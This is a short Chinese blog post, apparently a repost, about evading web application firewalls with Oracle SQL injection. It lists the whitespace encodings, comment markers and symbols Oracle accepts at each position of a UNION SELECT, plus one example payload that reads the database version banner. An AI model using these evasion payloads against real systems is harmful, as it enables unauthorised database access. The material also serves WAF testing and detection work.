标签：rownum   自动   where   sql   pass   测试   select   符号   ann   

0x01 背景

 oracle与mysql特性类似，半自动化fuzz了一下，记录成果。

0x02 测试

位置一：参数和union之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00  %09 %0a  %0b %0c  %0d  %20

2)注释符号/**/

3)其他字符

%2e  .   点号

位置二：union和select之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00  %09 %0a  %0b %0c  %0d  %20

2)注释符号/**/

位置三：select和查询参数之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00  %09 %0a  %0b %0c  %0d  %20

2)注释符号/**/

3)其他字符

%2b  +

%2d   -

%ad

select * from emp where mgr=7782   union select+NULL,(SELECT banner FROM v$version where rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL

位置四：查询参数和from之间的位置

1)空白字符

Oracle中可以利用的空白字符有： %00  %09 %0a  %0b %0c  %0d  %20

2)注释符号/**/

位置五：from后面的位置

1)空白字符

Oracle中可以利用的空白字符有： %00  %09 %0a  %0b %0c  %0d  %20

2)注释符号/**/

WAF Bypass数据库特性（Oracle探索篇）

标签：rownum   自动   where   sql   pass   测试   select   符号   ann   

原文地址：http://www.cnblogs.com/xiaozi/p/6930980.html